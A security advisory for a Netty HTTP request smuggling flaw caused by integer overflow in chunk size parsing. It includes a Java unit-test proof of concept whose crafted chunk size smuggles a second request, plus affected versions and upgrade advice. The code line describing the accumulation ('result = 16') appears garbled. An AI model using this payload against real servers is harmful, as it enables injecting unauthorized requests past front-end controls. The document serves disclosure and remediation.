CVE-2026-42580: Netty: HTTP Request Smuggling due to incorrect chunk size parsing
Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result = 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));
// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.USASCII)); content.release(); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();
// Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }
Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Other sources
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.netty:netty-codec-httpto a version that resolves this vulnerability.Fixed in 4.1.133.Final - Upgrade
Upgrade
maven/io.netty:netty-codec-httpto a version that resolves this vulnerability.Fixed in 4.2.13.Final - Upgrade
Upgrade
Nettyto a version that resolves this vulnerability.Fixed in 4.2.13.Final - Upgrade
Upgrade
Nettyto a version that resolves this vulnerability.Fixed in 4.1.133.Final - Compensating control
If you cannot upgrade immediately, use an external compensating control such as an HTTP reverse proxy/WAF and/or network ACLs to reduce exposure to HTTP request smuggling attempts against the affected endpoint(s).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42580?
CVE-2026-42580 has a high severity due to its potential to enable request smuggling attacks.
How do I fix CVE-2026-42580?
To fix CVE-2026-42580, upgrade to io.netty:netty-codec-http version 4.1.133.Final or 4.2.13.Final.
What does CVE-2026-42580 affect?
CVE-2026-42580 affects versions of io.netty:netty-codec-http up to 4.1.132.Final and between 4.2.0.Alpha1 and 4.2.12.Final.
What type of attack does CVE-2026-42580 enable?
CVE-2026-42580 enables request smuggling attacks due to integer overflow in the chunk size parser.
What is the cause of CVE-2026-42580?
CVE-2026-42580 is caused by the silent overflow of an integer in the chunk size parser of Netty.